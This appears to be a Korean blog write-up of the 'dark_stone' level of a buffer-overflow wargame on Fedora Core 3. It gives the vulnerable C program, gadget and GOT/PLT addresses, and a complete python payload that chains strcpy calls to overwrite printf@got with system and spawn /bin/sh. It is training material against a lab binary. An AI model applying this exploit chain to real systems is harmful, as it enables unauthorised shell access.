/*

The Lord of the BOF : The Fellowship of the BOF 

- dark_stone

- Remote BOF on Fedora Core 3 

- hint : GOT overwriting again

- port : TCP 8888

*/


#include <stdio.h>


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main()

{

char buffer[256];

char saved_sfp[4];

int length; 

char temp[1024];


printf("dark_stone : how fresh meat you are!\n");

printf("you : ");

fflush(stdout);


// give me a food

fgets(temp, 1024, stdin);


// for disturbance RET sleding

length = strlen(temp);

   

// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, temp);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


// buffer cleaning 

memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);


printf("%s\n", buffer);

}


fgets 함수를 이용하여 temp에 입력하고 strcpy로 temp에 내용을 buffer에 복사한다.
그 후 sfp값을 복원하고, ret sled를 막기 위해 buffer+length ~ ff000000까지 클리어시킨다.

더 추가 된 부분은 fgets함수가 사용하는 임시버퍼영역(0xf6ffe000)을 클리어시켰다.


전에 풀었던 것과 비슷하게 아니 거의 똑같은거 같다.. 
pop_pop_ret의 특징을 이용해 strcpy를 연속적으로 사용함으로써 printf@got를 system@got로 overwriting 시키고
printf@plt 를 ret영역에 덮어씌워서 결국 system("/bin/sh")이 실행되게 하면 될 것 같다.


자세한 과정은 이전에 풀은 문제에 있기 때문에 간단하게만 쓰겠습니다.



필요한 주소

.bss : 0x08049868

system: 0x7507c0

c0 : 0x80483f4

07 : 0x8048364

75 : 0x80482b4

00 : 0x8048274


strcpy@plt : 0x08048438

printf@plt : 0x08048408

printf@got : 0x0804984c

ppr : 0x80484f3

/bin/sh : 0x833603





payload 구성

python -c 'print "A"*264+"BBBB"+"strcpy@plt"+"ppr주소"+".bss+0주소"+"system@got+0"+

"strcpy@plt"+"ppr주소"+".bss+1주소"+"system@got+1"+

"strcpy@plt"+"ppr주소"+".bss+2주소"+"system@got+2"+

"strcpy@plt"+"ppr주소"+".bss+3주소"+"system@got+3"+

"strcpy@plt"+"ppr주소"+"printf@got"+".bss+0주소"+

"printf@plt"+"BBBB"+"/bin/sh주소"



(python -c 'print "A"*264+"BBBB"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x68\x98\x04\x08"+"\xf4\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x69\x98\x04\x08"+"\x64\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6a\x98\x04\x08"+"\xb4\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6b\x98\x04\x08"+"\x74\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x68\x98\x04\x08"+"\x08\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"';cat) | ./dark_stone







끝!



redhat lob에 비해 방어기법이 추가되어서 확실히 여러가지 어려운 부분도 있었고,

얻은 것도 많았던 것 같다. 




비밀번호



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20

+ Recent posts